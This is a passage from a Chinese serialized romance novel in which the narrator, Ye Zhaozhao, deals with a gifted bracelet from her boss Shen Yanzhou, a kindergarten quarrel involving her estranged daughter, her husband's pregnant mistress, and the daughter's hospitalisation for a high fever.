我尴尬的回应着,突然想起了什么,将他的车钥匙还给了他。
我可不敢整天开着他这么贵的车,四处招摇。
……
直到后来我跟孟云初去洗手间洗手的时候,她看到我手上戴的这串冰透湛蓝的圆珠,惊呼道:“好漂亮啊!这是水晶吗?在哪里买的?”
“人家送的。”
我轻描淡写的遮掩了过去。
如果对碧玺没有研究的人,应该都会把这种极品稀有的帕拉伊巴蓝看作水晶的。
就在这时,乔丽刚好进洗手间。
看到我手上这串珠子,震惊的瞪大眼睛。
随即,她冷声道:“孟云初,你出去!我跟叶昭昭有话说!”
孟云初也来了火气,道:“乔秘书,看在你是沈总秘书的份儿上,我给你几分脸面,平日对你也算尊重。可你的职位似乎没资格对我颐指气使的!况且这里是洗手间,是公共场合,我出不出去,你管不着!”
我也没给乔丽什么脸,理都没理她,洗完手就跟着孟云初一起离开了。
可今天一整天,乔丽似乎就这么盯着我。
直到我下午去茶水间泡咖啡时,她终于找到了机会。
乔丽走到我身边,压低声音道:“叶昭昭,真有你的!被顾总抛弃后,就开始勾引沈总。你除了靠男人,就没有别的本事了吗?”
我当即放下咖啡杯,拉着她的手腕,道:“走,去沈总面前说清楚。你问问他,我是怎么勾引他的!”
乔丽吓了一跳,赶忙挣开我,愤愤地说:“你还好意思贼喊捉贼?你手上这条手链怎么来的,不用我说了吧?我亲自去帮沈总在国际拍卖会上拍到的帕拉伊巴蓝碧玺。你要是没有勾引他,他凭什么送你这么贵重的东西?”
我猛地一惊。
这是沈宴州拍下来的?
他早上明明说是霍明琛为了感谢我才送的。
瞬间,我好像明白了什么。
乔丽咬牙切齿地警告道:“叶昭昭,你最好收起那份心思。你再怎么勾引沈总,他也不可能看上你一个顾时序不要的女人!小心我把你这些龌龊事告诉顾总,你看他允不允许自己太太干这些勾当!”
说完,她扬长而去。
而我,默默将手腕上那串珠子摘了下来。
本想立刻去沈宴州办公室还给他。
可我刚回到工位,便看到沈宴州在乔丽的陪同下,一起与几个合作伙伴走进了电梯。
这时,宋今若的电话打了过来,问我几点来接霍珊?
“马上就来。”
我跟宋今若通完话,朝外面走去。
……
我到达幼儿园门口时,那里已经**了很多家长。
霍珊班级门口,顾时序也站在那儿接朵朵。
见我过来,他缓缓走到我身边,道:“如果你是为了气我,气朵朵,大可不必这么做。昭昭,我们非要弄成这样吗?”
我平静地看着他,道:“你想多了。”
就在这时,小朋友们纷纷从教室里出来。
“珊珊。”
我冲霍珊招手,小姑娘乖巧地走向我,冲我笑了笑。
而不远处,朵朵背着小书包,脸色很臭,蔫蔫儿的样子。
就在这时,一个小朋友认出了我,疑惑地问:“阿姨,你不是顾依朵的妈妈吗?那天我在医院见过你的!你……怎么突然变成霍珊的妈妈啦?”
朵朵突然走过去,傲娇地说:“她才不是我妈妈!我妈妈比她漂亮、比她厉害多了!她以前就是我们家的保姆而已!”
顾时序轻声呵斥了声,“朵朵。”
朵朵不甘心的撅着嘴,一脸仇视地看着我和霍珊。
这时,另一个小朋友也凑到霍珊面前,问:“珊珊,你明天还会给我们带饼干吗?”
霍珊一愣,抬头看着我,黑亮的眼睛有些犹豫。
这时,朵朵冷哼了声,开口道:“我爸爸昨天给我带了好多意大利的巧克力!明天我就带来分给你们吃,比什么破饼干好吃多了!”
她话音刚落,旁边一个穿着小西装的男孩就皱着眉反驳:“意大利巧克力有什么了不起?我想吃随时都能让家里人买。可是霍珊带的饼干外面根本买不到一样的味道,只有她妈妈会做!”
“那不是她妈妈,那是我……”
朵朵的声音戛然而止,小脸瞬间涨得通红,终究还是不肯承认我和她的关系。
我看着她气急败坏的样子,心里竟没了往日的波澜,好像越来越不在乎她的态度了。
我蹲下身帮霍珊理了理书包带,柔声道:“你要是明天想给小朋友带,阿姨晚上就再给你做。”
霍珊眼睛一亮,用力点点头。
我牵着霍珊的手,正准备带她回去。
可顾时序跟上我,道:“你亲生女儿自己不闻不问,倒是对沈宴州的孩子这么上心。叶昭昭,别忘了,我们才是一家人。朵朵才是你的亲生女儿!”
我停下脚步,讽刺的弯了弯唇角:“我对霍珊好,她懂得感恩,至少,她不是白眼狼。不像有些人,把别人的好当成理所当然。而且,你和苏雅欣,才更像一家人。”
顾时序嗤笑了声,道:“你以为这样就能激怒我,让我跟你离婚?我已经咨询过律师了,你撤诉后六个月才能再次上诉。至少这六个月里,我不签字,你依然是我顾时序的太太!这点,谁都无法改变。”
我听完,忍不住笑了:“我早就把你从我的人生里踢出去了,至于那张离婚证,你什么时候想通了愿意签字,咱们再什么时候去办。现在呢,你过你的日子,我过我的日子,跟离婚也没什么区别。”
顾时序的脸色瞬间僵住。
他大概完全没想到,我现在对这段婚姻竟是这样无所谓的态度。
毕竟,我们的结婚证锁不住他。
那这个离婚证办不办,也锁不住我。
就在这时,霍珊的目光望向不远处,叫了声:“沈叔叔!”
循声望去,沈宴州正朝我们这边走来。
他目光径直略过一旁的顾时序,然后走到霍珊面前,自然地将她抱起,动作里满是疼惜。
霍珊稚嫩的声音询问:“你不是说最近你都很忙吗?”
沈宴州低头看着她,声音瞬间放柔,耐心解释:“今天是珊珊第一天去新幼儿园,叔叔不放心你。”
霍珊乖巧地说:“老师和小朋友们都很好,沈叔叔不用担心。”
安抚好霍珊,沈宴州的目光才终于落在我身上,语气平淡却带着一丝不易察觉的暖意:“辛苦了,本来想等你一起下班的,没想到你自己先走了。”
我以为他在寒暄,所以我也稍微客气了一下:“没关系,珊珊很听话。对了,晚上我准备给珊珊做牛排,你要一起来吗?”
本是随口一提的客气话,没想到沈宴州当即点头。
我站在原地微微惊讶,着实意外他会真的答应去家里吃饭。
而身旁的顾时序和朵朵,此刻的眼神简直如出一辙。
不愧是父女,两人都用冰冷的眸光死死盯着我,那眼神里的控诉与不满,仿佛我才是那个背叛了婚姻、破坏了一切的人。
我压下心底的异样,没理会他们,对沈宴州笑了笑,道:“那我们走吧。”
回去的路上,沈宴州亲自开车,我和霍珊坐在后排。
车厢里很安静,直到沈宴州透过后视镜看着我,开口打破沉默:“家里有牛排吗?要是没有,我们先去超市买。”
我闻言一顿,心里惊讶。
他这语气认真的不像客套,是真的完全把去我家吃饭这件事放在了心上。
我定了定神,连忙回道:“家里有的,那天逛超市的时候买了挺多,冻在冰箱里了。”
“那还缺不缺别的什么?蔬菜、水果或者调味品?”
他目视前
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方,边开车边接着问,语气自然到仿佛这是我们每天都会商量的事。
那种融入柴米油盐的熟稔感,竟一点都不违和。
我被这过于亲昵的氛围弄得脸颊发烫,声音都轻了很多:“应该不缺什么了,常用的都有。”
沈宴州“嗯”了一声,没再追问,熟练地转动方向盘,朝着我家的方向开去。
看他不用我指引就精准避开岔路的样子,简直称得上是轻车熟路。
可他好像也只送过我回家两次。
到家后,沈宴州脱了外套,便径直走向厨房。
随即,挽起衬衫袖口开始洗手,对我道:“你带珊珊去写作业,牛排我来煎。”
说完,他打开冰箱开始找食材。
我已经搞不清这到底是我家,还是他家了?
“要不……还是我来吧?”我尴尬地说:“毕竟,你是客人。”
他面无表情地放下手中的食材,高大的身影在我面前,仿佛能把我圈住一样。
男人微微低头,须后水的味道越来越近,我下意识地往后退,可身后是流理台。
他嗓音低沉,淡淡地道:“那你别把我当客人,不就得了?”
我脸瞬间有点热,不动声色地从他和流理台之间移开,道:“那……那就麻烦您了。”
厨房里。
男人高大的身影走来走去,有条不紊地处理着食材。
暖黄的灯光落在他身上,那种烟火气,让我体会到了很久不曾有过的家的温暖。
是的,顾时序不会做饭,他从来都是不食人间烟火的,他没为我做过这些。
我恍惚地望着眼前这一幕,甚至有点贪恋。
可很快,我回过神儿来,连忙摇摇头,鄙视自己竟然用一个丈夫的标准在衡量沈宴州。
我是疯了吗?
本来我该进去帮着沈宴州打打下手,可我现在心里乱得要命,还是去了书房,教霍珊写幼儿园作业。
没过多久,牛排的香味就弥漫在了家里的每一个角落。
我带着霍珊出去时,丰盛的晚餐已经摆好在了桌上。
沈宴州做的晚餐是偏西式的,再加上客厅里的灯光是暖色,看起来倒有种烛光晚餐的味道。
霍珊很惊讶地看着这一桌丰盛的饭,沉默寡言的她也忍不住开口夸赞:“沈叔叔,你好厉害。我爸爸就不会做饭,你怎么什么都会呀?”
沈宴州被小丫头逗笑了,刮了下她的鼻梁,道:“沈叔叔会的东西还有很多呢。”
他话是对霍珊说的,可眼神却似有若无地落在我身上。
我迅速避开他的目光,将霍珊抱到我身边坐下,岔开话题道:“珊珊饿了吧?先吃饭。”
说完,我望着沈宴州道:“谢谢沈总,今天真是不好意思,让您受累。”
沈宴州坐在我们对面,平静地说:“不用谢,我是为了珊珊做的,你不过是沾了她的光。”
“额……”
我无比尴尬,啥也不说了,装作很忙的样子,喂霍珊吃沈宴州煎的外焦里嫩的牛排。
霍珊吃了几口,稚嫩的语气带着点忧郁,道:“以前没有妹妹的时候,我也是这样跟爸爸妈妈一起吃饭的,现在都见不到他们了。”
没等我想好怎么安慰霍珊,沈宴州已经放下刀叉,伸手揉了揉她的头发,声音温柔又认真:“没关系,以后要是想这样吃饭,随时可以告诉沈叔叔。你也可以暂时把我和叶阿姨,当做你的爸爸妈妈。”
他话音落下,我拿着刀叉的手猛地一顿,脸颊彻底烧了起来,连耳尖都泛着红,只能低头假装专心切牛排。
一顿晚餐吃完,我赶紧收拾餐具,主动去厨房洗碗。
可不敢劳烦这位爷亲自给我们做饭,还给我洗完了。
然而,沈宴州吩咐完霍珊去洗漱,自己也跟进了厨房。
男人双手抄在口袋,颀长的身影倚在冰箱透着几分矜贵慵懒。
看见我手腕上光秃秃的,他微微蹙了蹙眉,问:“那条手链不喜欢吗?怎么不带了?”
提起这个,我放下手中的碗筷,鼓足勇气望向他,认真地问:“乔丽说,这条手链是您在拍卖会上拍下的。您为什么要跟我说,是霍先生送我的?”
第113章 她怀孕了
我问了这个问题后,厨房一瞬间陷入了异常的沉默。
我望着沈宴州深邃的眼眸,他眼底翻涌着我读不懂的情绪,良久才沉沉开口:“你想让我怎么回答?”
我心一沉,张了张嘴,喉咙却像被堵住。
没等我理清思绪,他又往前逼近半步,问:“或者说,你想得到怎样的答案?”
我望着他灼灼的眼神,只觉得心里焦躁又不安。
然后,我深吸一口气,转身洗干净手,快步走到客厅拿起包包。
我将那条贵重的手链拿出来,郑重地交给沈宴州。
“沈总,这个太贵重了,我……无功不受禄,如果是您送的,那我不能收。”
沈宴州脸色瞬间冷了下来,冷冷道:“送出去的东西,没有收回来的道理。你不想要,就扔了吧。”
说完,他看了眼腕表,道:“今天太晚了,我先走。”
他颀长的身影很快消失在门口,关门声重重砸在我心上。
我站在原地,心情一点点沉下去。
有些可怕的念头在我心底滋生着,却又被我生生按压下去,不敢让它露头。
况且,沈宴州的心思又怎么是我能琢磨透的?
别到时给是我自己自作多情一场!
就像跟顾时序,也不过是我自作多情罢了!
这时,霍珊的声音传了过来:“叶阿姨,沈叔叔走了吗?”
我猛地回过神儿来,点点头,“嗯,走了。”
“我作业写好了。”
小姑娘将练习本递给我,工工整整的字迹完全不像这个年纪的孩子写出来的。
……
而这天之后,我没有再见过沈宴州,他也没有再来我们公司。
转眼间一个月过去,沈宴州就像消失了一样。
我忽然意识到,如果不是沈宴州刻意制造相遇,以我跟他的这种身份地位,或许我们永远都不会有什么交集。
我微微叹了口气,打消了心里各种念头,专心投入工作中。
傍晚时分,手机突然响了。
我接起电话往外走:“今若,怎么了?我正准备去接珊珊呢。”
“昭昭,你快来吧!朵朵和珊珊打起来了!苏雅欣现在不依不饶的!”
我心一惊,往车库的脚步也越来越快。
赶到幼儿园时,苏雅欣带着朵朵,还有珊珊都在老师办公室。
珊珊头上还隐约有白色的奶油。
苏雅欣妆容精致的脸上满是刻薄,正对着宋今若和老师指责:“你们是不是觉得朵朵爸爸出差去了,没人给我们撑腰,就可以这样明目张胆地欺负我女儿?”
宋今若气得脸都红了,道:“你少在这儿颠倒黑白!监控拍得明明白白的,是朵朵先动手的。是她先把蛋糕拍在了珊珊脸上。”
苏雅欣梗着脖子,无理辩三分,“我们朵朵就算动手也没伤人,不过是跟霍珊开个玩笑!反倒是霍珊,直接把我们朵朵推到地上,这要是摔出个好歹,你们负得起责吗?”
她说完,突然转头盯着缩在老师身后的霍珊,声音陡然拔高:“你现在,立刻给我女儿道歉!”
霍珊眼圈红红的,小手紧紧攥着衣角,吸了吸鼻子,却倔强地抿着嘴,摇了摇头。
我看得心疼,快步走过去,先蹲下身轻轻揽住霍珊的肩膀,用指腹擦掉她脸颊的泪痕,低声安慰:“珊珊不怕,如果不是你的错,那我们就不道歉。”
等她情绪稍微平复些,我才起身对宋今若道:“把监控打开,我看一下。”
宋今若让老师调出监控,画面里的场景让我瞬间皱起眉头。
今天是霍珊的生日,昨天我特意做了个蛋糕让她带到幼儿园。
小朋友们都很期待,可朵朵却趁着霍珊分蛋糕时,突然冲过去,一把将整个蛋糕拍在了霍珊脸上。
霍珊应该也是气坏了,兔子急了还咬人呢!
就这样,她将朵朵推到了地上。
我严肃地看着朵朵,道:“你觉得你自己这么做,对吗?就算你爸爸过来,他看到了监控,也不会站在你这边。”
朵朵却把头一扭,下巴抬得老高:“我不道歉!我妈妈说了,我爸爸给你们幼儿园捐了好多钱和玩具,你们凭什么要我道歉?”
这话让我心里一凉,朵朵被苏雅欣教得越来越歪了!
转头我就对上苏雅欣嘲讽的眼神。
她抱着胳膊,冷笑一声,故意当着朵朵的面,道:“叶小姐,虎毒还不食子呢!没想到你为了报复时序哥,竟然指使一个外来的小丫头欺负你亲生女儿,你这心也太狠了吧?”
她说完,朵朵的眼神里布满了恨意,死死地盯着我,仿佛我真的是那个抛弃她、还帮着外人欺负她的狠毒母亲。
这时,苏雅欣蹲下身抱着朵朵,哭啼啼地说:“朵朵,妈妈真是替你痛心,你亲生母亲竟然这么狠心对你,连句公道都不肯给你讨……”
她这一哭,本就被教得是非不分的朵朵也跟着瘪起嘴,眼泪像断了线的珠子似的往下掉,指着我尖声喊:“她不是我妈妈!我没有她这样坏的妈妈!”
此时的苏雅欣和朵朵活脱脱一副被众人欺负的“孤儿寡母”模样。
苏雅欣伸手擦掉朵朵的眼泪,故意提高声音,像是说给周围老师听:“是妈妈没本事,没办法当场给你讨回公道。不过你放心,等你爸爸出差回来,我一定让他找幼儿园好好谈谈,让他们秉公处理!”
宋今若早就看不下去了,上前一步冷声道:“苏小姐,既然你觉得我们幼儿园待不下朵朵,不如直接跟顾时序说,把孩子转学好了!这样蛮不讲理的孩子和家长,我们幼儿园真伺候不了。”
谁知苏雅欣听到这话,不仅没生气,反而勾起一抹得意的笑。
她缓缓抬起手,轻轻摸了摸自己平坦的小腹,语气带着炫耀:“这大概不行了。圣辉幼儿园离顾氏庄园最近,我现在怀孕了,经不起长途颠簸,朵朵在这里上学,也方便我每天接送。”
“怀孕”让我和宋今若同时顿在原地。
说不上多心痛,但肯定是惊讶的。
苏雅欣迎着我们的目光,眼神里的挑衅毫不掩饰:“叶小姐,真是不好意思,我也没想到,自己这么幸运。”
我看着她那副小人得志的模样,心中没有丝毫波澜,只淡淡开口:“那我就先恭喜你了。不过有件事我得提醒你,顾时序到现在都死活不答应跟我离婚。你就算把这个孩子生下来,他在法律上,也只是个私生子而已。”
宋今若立刻接话,故意放大声音:“这有什么要紧的?现在法律规定,私生子也能跟婚生子有相同的继承权呢!有的人啊,就是喜欢抢别人的丈夫,偷别人的人生。多生几个私生子出来,说不定还觉得自己赚了,一点都不亏!”
“你!”
苏雅欣的脸色瞬间变得铁青,手指紧紧攥着衣角,指节都泛了白。
她深吸一口气,强压下怒气,转头盯着我:“叶小姐,不管是私生子还是婚生子,他们出生后都只有我这一个妈妈!不信你问问朵朵,她现在管谁叫妈?”
说到最后,她突然往前凑了两步,压低声音,用只有我们两人能听到的音量,带着十足的恶意道:“说起来,我还真是要多谢你,帮我生了朵朵这么个贴心小棉袄。”
话音落下,她不再看我铁青的脸色,拉着还在抽噎的朵朵,头也不回地扬长而去。
走到门口,她忽然想起了什么,道:“我知道,叶小姐是记者,偷偷录音搞人隐私的毛病改不掉!可你别忘了,事情是发生在圣辉幼儿园的。时序哥是这里的大股东,你们最好别引火上身。还有,等他出差回来,会替女儿讨回公道的。”
她话音刚落,霍珊突然追了出去。
她小手轻轻拽住苏雅欣的衣袖,声音带着委屈的颤抖:“阿姨,我、我愿意道歉,你能不能不要让朵朵爸爸为难叶阿姨?”
苏雅欣厌恶的瞥了她一眼,猛地甩开霍珊的手。
孩子力气小,被她这么一推,踉跄着往后倒,重重摔在冰凉的地上。
“珊珊!”
我快步冲过去把她扶起来,“有没有伤到哪里?”
霍珊轻轻皱眉,小声道:“好像脚疼。”
苏雅欣恨恨说了句:“活该!”
说完,便想走。
可宋今若几步走过去抓住她的手腕,道:“你不能走!苏雅欣,你一个成年人,这么欺负一个孩子。要是珊珊摔出什么好歹来,哪怕顾时序在,我也跟你没完!你看我敢不敢曝光你!”
为了家族企业,宋今若一直是忍着苏雅欣的。
但现在,也快忍不住了。
我小心翼翼掀开霍珊的裤脚,只见脚踝处磨破了一大块皮,红肿得刺眼。
“这么严重?”
我又惊又气,抬头想找苏雅欣讨个说法。
霍珊很单纯,自己跟我解释道:“叶阿姨,你别担心,其实没擦破很多皮。我这里是一块红色的胎记,看着像伤口。可是以前孤儿院的老师说,我出生时就有这个胎记了。”
我恍然大悟,尽管如此,我还是要让苏雅欣道歉。
可我望向苏雅欣时,却见她死死盯着
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霍珊,眼神发直,脸色都白了。
我心里满是疑惑。
苏雅欣这反应也太奇怪了,明明前一秒还盛气凌人,怎么现在却像见了鬼一样?
没等我开口,苏雅欣突然回过神,一把拉起朵朵的手,声音带着不易察觉的慌乱:“我们走!”
宋今若却拦住她,道:“不行!今天不道歉,就不能走!你一个大人欺负孩子,要不要脸?”
我们都没想到,这次苏雅欣居然什么都没辩解,直接道歉了:“对不起,刚才是我不小心,行了吧!”
说完,她甩开宋今若,拉着朵朵,步伐凌乱地往外走去。
“奇怪了。”
我喃喃自语道:“她刚才怎么是这个反应?”
宋今若冷哼了声,道:“做贼心虚呗!肯定是怕我们曝光她这么对一个孩子,所以不得不道歉呗。你没看她道歉也心不甘情不愿的?”
我虽然觉得奇怪,但却也想不通,只能先带着霍珊回家,把她脚踝上的伤口处理一下。
“疼吗?”
我轻轻帮她吹着伤口,柔声问。
霍珊摇了摇头,小心翼翼地问:“阿姨,我爸爸妈妈……什么时候才来接我呀?”
提起这个,我也挺无语的。
这都一个多月了,沈宴州消失了,霍家也丝毫不说什么时候把孩子接走?
我拿出手机,犹豫了一下,只好主动给沈宴州打了电话。
听到男人低沉沉稳的声音,我心跳还是漏了一拍,然后赶紧说正事儿:“珊珊想她爸爸妈妈了。就算是养父母,总不能一直把孩子扔在我这儿吧?况且,今天还是她的生日。”
沈宴州沉默片刻,道:“这样,我跟霍明琛说一下,让他联系你。”
说完,他似乎准备挂电话了。
我连忙道:“那个……你……”
“怎么了?”沈宴州问。
我一时语塞,也不知道自己想说什么,只好问道:“你最近……挺好的吧?”
“嗯,挺好的。”
他回答得很敷衍。
我彻底没法再将通话进行下去了,就这样挂了电话。
霍珊眼睛亮晶晶的,很期待地问我:“沈叔叔怎么说?我爸爸会来接我吧?”
就在这时,我手机响了,是来自江城的一个陌生号码。
我立刻反应过来,应该是霍明琛。
我连忙摁了扬声器,霍明琛先跟我道了谢,然后安抚着珊珊。
“最近你妈妈情绪不太稳定,爸爸怕你回来受委屈。”
霍明琛声音很温柔,耐心地说:“珊珊再等等,爸爸过段时间一定接你回去,好吗?”
霍珊眼中露出一抹失望,但还是乖巧地答应着:“等珊珊回去了,一定不惹妈妈生气,一定对小妹妹好。”
“爸爸知道,我们珊珊是最乖的孩子了。”
霍明琛安抚完女儿,对我道:“叶小姐,珊珊真是麻烦你了。我这边再给你转过去三百万,你把银行卡账号给我一下。”
我连忙道:“不用了,您上次给我的那张银行卡,我还没用完。”
霍明琛道:“那是珊珊的生活费,这三百万是你的酬劳,所以,才要你的私人卡号。”
“真不用了,您太客气了。”
我拒绝了,赶紧结束了通话。
望着珊珊委屈又无助的模样,我心里不禁软了下来,伸手揉了揉她的头发:“阿姨去给你做好吃的,好不好?”
“嗯。”
她努力挤出一丝笑脸,跟着我去了厨房。
就这样,我和珊珊过了一个简单而温馨的生日。
夜里,珊珊睡觉前,我问:“珊珊,阿姨昨晚才知道你的生日,所以没来得及准备礼物。你有什么心愿吗?明天是周末,阿姨陪你。”
“真的吗?那我可以去游乐场吗?我很久很久没去过游乐场了。”
小姑娘眼睛亮晶晶的。
“当然。”
我帮她盖好被子,道:“你先睡,明天一早我们就出发。”
哄睡了珊珊,我坐回电脑前开始更新小说。
就在这时,我手机响了,是顾氏庄园打来的。
我下意识蹙起眉头。
不用说,肯定是苏雅欣回去告状,顾时序来兴师问罪了。
我没接,继续忙着手里的事情。
手机停了会儿,又开始响。
这次,是刘妈。
我只觉得顾时序现在是越来越没底线了,自己打不通我的电话,居然还用刘妈的手机打。
但我仍旧没接。
下一秒,手机来了一条短信:“叶小姐,求您接个电话,我有急事!”
第114章 顾时序不要这个孩子
刘妈电话再次打来的时候,我接了。
“太太,朵朵小姐发烧了。”刘妈的声音带着明显的焦急,透过听筒传来。
我眉头微蹙,问:“苏雅欣和顾时序呢?”
电话那头传来一声长长的叹息,刘妈的声音满是无奈:“顾先生出差没回来,手机关机,我打不通。苏小姐和老夫人傍晚把朵朵送到老宅就走了,我刚才打去电话,佣人说她们休息了,不肯通传。现在孩子烧到三十八度多,小脸通红,一直哼唧,您……还是过来看看吧?”
我的心不禁发沉,可是狼来了的故事,几乎给我造成了阴影。
姜淑慧和苏雅欣之前不止一次利用朵朵算计我。
现在这大晚上的突然说孩子生病要我去,谁知道她们又憋着什么主意?
我深吸一口气,压下翻涌的情绪,道:“太晚了,我不方便出去。你再给顾时序打电话,或者,请私人医生来看看。”
说完,我没等刘妈再说什么,直接挂断了电话。
尽管如此,我心里要说不忐忑,肯定是假的。
可是,顾时序把朵朵当成心尖上的宝贝,苏雅欣要靠朵朵稳固地位,姜淑慧平日里对朵朵似乎也不错。
她们应该不会放着发烧的朵朵不管,更不可能把朵朵一个人扔在家里。
这通电话,或许又是她们想出的什么幺蛾子罢了。
……
翌日是周末,我兑现了承诺准备带霍珊去她心心念念的游乐场。
路上,阳光透过车窗洒在她脸上,平日里胆小沉默的小丫头难得兴奋,小手扒着车窗看路边的风景。
我腾出一只手,轻轻捏了捏她软乎乎的脸颊,道:“这么开心吗?”
霍珊眼睛亮了亮,重重地点了点头,小脑袋还跟着车的节奏轻轻晃着。
可没走多远,手机突然又响了,屏幕上依旧是“刘妈”的名字。
我心里咯噔一下,接起电话就听见刘妈带着哭腔的声音,满是慌乱。
“太太,您赶紧来医院一趟吧!朵朵小姐今早烧得都糊涂了,私人医生弄不了了,现在已经送去医院了!”
我的心瞬间揪紧。
没想到,这次,朵朵是真的发烧了。
我握着方向盘的手不自觉收紧,追问道:“苏雅欣和姜淑慧呢?她们还联系不上吗?”
“联系不上啊!”
刘妈的声音都在发抖,“我给老夫人别墅打了电话,那边的佣人说老夫人知道有个高人能算苏小姐肚子里孩子的性别,一大早就带着苏小姐去城郊的寺庙了,两人手机都关机。顾先生的电话也始终打不通,家里的佣人都慌了,我实在没办法才又给您打电话的!”
我气的要命,问了医院地址,打了转向灯。
挂了电话,身旁的霍珊小心翼翼地开口:“叶阿姨,怎么了?”
我抱歉地对身边的霍珊解释:“珊珊,对不起,咱们今天去不了游乐场了,阿姨得先去医院看看朵朵。她生病了!下次,阿姨一定补偿你,好不好?”
霍珊没有半点不高兴,反而伸出小手轻轻拉了拉我的衣袖,声音软软的却很镇定:“没关系的叶阿姨,你别着急。上次我爸爸因为急事开太快,还跟别人的车追尾了,你慢慢开,安全最重要。”
听着小丫头懂事的安慰,我心里又暖又酸。
尽管她这么说,我还是忍不住加快了车速。
心里充满自责和懊悔,如果昨晚我没有想这么多,直接去照顾朵朵,会不会事情就不会变得这么糟糕了?
……
儿童医院。
车子刚停稳,我就拉着霍珊快步冲进医院。
急诊科走廊里,刘妈正急得来回踱步。
看见我来,像抓住了救命稻草似的迎上来:“太太,您可算来了!医生说孩子情况紧急,必须亲属签字才能做手术,您赶紧去医生办公室签字!”
我让霍珊在走廊的长椅上坐好,叮嘱她别乱跑,转身就往医生办公室跑。
我刚跟医生说明了身份,医生就指着病历本,劈头盖脸地冲我发火:“你是孩子的家长?怎么现在才来!孩子昨晚就开始高烧,为什么不及时送医?现在孩子已经出现惊厥,刚才癫痫发作了好几次!我看了病历,她前不久才做过脑部手术,这么关键的恢复期,你们怎么能这么不上心?是真不管孩子的死活了吗?”
竟然比我想象的还要严重。
我心如刀绞,却又无力辩解。
医生的语气更严厉了:“我从医这么多年,真没见过你们这样不负责任的家长!孩子有你们这样的家长,也真是倒霉了!”
这番指责让我的委屈和愤怒统统涌了上来。
管也不对,不管也不对!
我攥紧拳头,强压下情绪,一边在手术同意书上签字,一边掏出手机给顾时序打电话。
电话拨了一次又一次,始终是忙音。
直到第五次,听筒里终于传来顾时序冷冰冰的声音:“什么事?平时不见你主动给我打一个电话。我出差谈重要项目,你倒好,一个接一个地打。你是不是知道这个项目对手是沈宴州,来替他捣乱来着!”
我简直要崩溃,声音里带着压抑不住的怒火,一字一句道:“顾时序,你女儿现在在医院抢救!快**!你自己看着办吧!”
说完,我不等他回应,“啪”地挂了电话。
时间一点一滴过去。
医生用药后,朵朵的病情虽然稳住了,但我仍旧没有从一开始的惊吓中回过神儿来。
望着病床上再也没有往日傲娇表情的小姑娘,我心里泛起密密麻麻的疼痛。
说到底,无论是我,还是朵朵,都是顾时序阴谋的受害者。
小孩子又懂什么呢?
我明知道是苏雅欣和姜淑慧教坏了她,却仍旧无法控制地将情绪发泄到她的身上。
我甚至在想,如果当初顾时序没有将她抱走,现在的她,会有多可爱?
就在这时,凌乱的脚步声打破了病房里的平静。
“朵朵!朵朵呢?”
顾时序失去了往日的淡定自若,冲进病房,整个人都透着慌乱和紧张。
他快步冲到病床边,看着脸色苍白、插着输液管的朵朵,声音都在发抖:“怎么会这样?”
我看着他这副“事后着急”的模样,恨恨地问:“顾时序,你现在问我怎么回事?你早干什么去了?”
顾时序叹了口气,低低地说:“我昨天在谈一个很重要的项目,手机必须关机,我……”
我指着病床上的孩子,道:“所以,你们三个大人,各个都有事。把一个刚满四岁的孩子扔在家里,不管不顾?”
他反驳道:“这怎么可能?我妈和雅欣不可能不管朵朵的。”
就在这时,姜淑慧带着苏雅欣匆忙赶了过来。
姜淑慧一进病房,随意看了眼病床上的朵朵,敷衍着问了句:“朵朵没事了吧?”
还没等顾时序回答,她脸上就带着掩不住的激动,径
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直走到顾时序身边。
像是没看见顾时序脸上压抑着的怒意,姜淑慧拉着他的胳膊道:“时序,妈有个好消息要告诉你!雅欣怀孕了,是男孩儿!刚才大师算过了,这可是咱们顾家的长孙!”
顾时序像是被惊雷劈中,猛地站住脚步,眼神里满是难以置信。
转头看向苏雅欣的小腹,又立刻望向我。
我只觉得可笑。
他竟然比我还后一步知道自己又当爹的事。
姜淑慧没察觉儿子的不对劲,还在自顾自地解释:“我本来不想说的,可大师说了,朵朵这丫头命硬,有可能克雅欣肚子里这一胎!我这才赶紧把朵朵送回顾氏庄园,让她们俩分开住。谁知道这孩子这么不省心,抵抗力差得很,动不动就生病发烧,还折腾得大家不得安宁!”
这话一出口,病房里的空气瞬间凝固。
苏雅欣适时地走上前,伸手挽着顾时序另一侧胳膊,声音娇柔:“时序哥,对不起,都怪我没劝住妈。我也不放心朵朵一个人住,幸好,朵朵没出什么大事。”
没等她说完,顾时序猛地甩开她的手,力道之大让苏雅欣踉跄着往后倒,幸好姜淑慧眼疾手快扶住了她。
“时序,你疯了吗!”姜淑慧立刻护着苏雅欣的肚子,指着顾时序怒斥,“雅欣肚子里怀的是你的亲儿子!你怎么能这么对她?要是伤了我孙子,你赔得起吗?”
顾时序的脸色阴沉得能滴出水,眼神里满是怒火,死死盯着姜淑慧和苏雅欣,一字一句道:“我的孩子,只有朵朵一个!”
苏雅欣的脸瞬间变得惨白,不可思议地看着他。
姜淑慧更是恼怒道:“你胡说什么?朵朵一个丫头片子,以后怎么继承咱们顾家的资产?再说了,无论怎么说,她都是叶昭昭的女儿!子凭母贵这种话是有道理的,叶昭昭身份低微,生的女儿自然不能是我们顾家唯一的继承人!”
看着她这幅张牙舞爪的嘴脸,我只觉得自己此刻仿佛在一个垃圾场,周遭全是垃圾,我怎么都出不来了。
我默默往外走,想出去透透气。
就在这时,苏雅欣叫住我,道:“叶小姐,你等等!你这么急着走,是怕我把昨天的事告诉时序哥吗?”
顾时序蹙了蹙眉,问:“什么事?”
苏雅欣看了眼我身旁的霍珊,道:“时序哥,朵朵之所以会突然生病发烧,是昨天在幼儿园被人欺负了。就是叶小姐带来的这个孩子,把她推倒。这么大冬天的,地上那么冷,朵朵发烧也不奇怪了。”
说到这儿,她目光中露出一抹怨毒,看着我道:“叶小姐,你一来就借着朵朵生病让时序哥误会我和我婆婆,你怎么就不敢提昨天你让这孩子欺负朵朵呢?”
霍珊听她们这么说自己,吓得赶紧躲到我身后,一张小脸儿布满了紧张。
姜淑慧连忙跟着苏雅欣指责我道:“是啊!这个**身为朵朵的亲妈,却吃里扒外,任由别的孩子欺负亲生女儿。现在,又来装什么好人?”
顾时序这次却没有被苏雅欣和他母亲带着节奏走。
他眸光依旧冰冷,对姜淑慧道:“现在,朵朵躺在病床上昏迷不醒,你们该关心的,难道不是她什么时候醒过来吗?朵朵不是你们排除异己的工具!”
姜淑慧和苏雅欣脸色僵住了,完全没想到顾时序这次没有站在她们这边。
很显然,朵朵在顾时序心里的地位,比她们想象的要重要。
第115章 让渣夫亲眼看着我与舅舅暧昧【虐渣男】
姜淑慧和苏雅欣偷偷对视了一眼,理亏地闭上嘴。
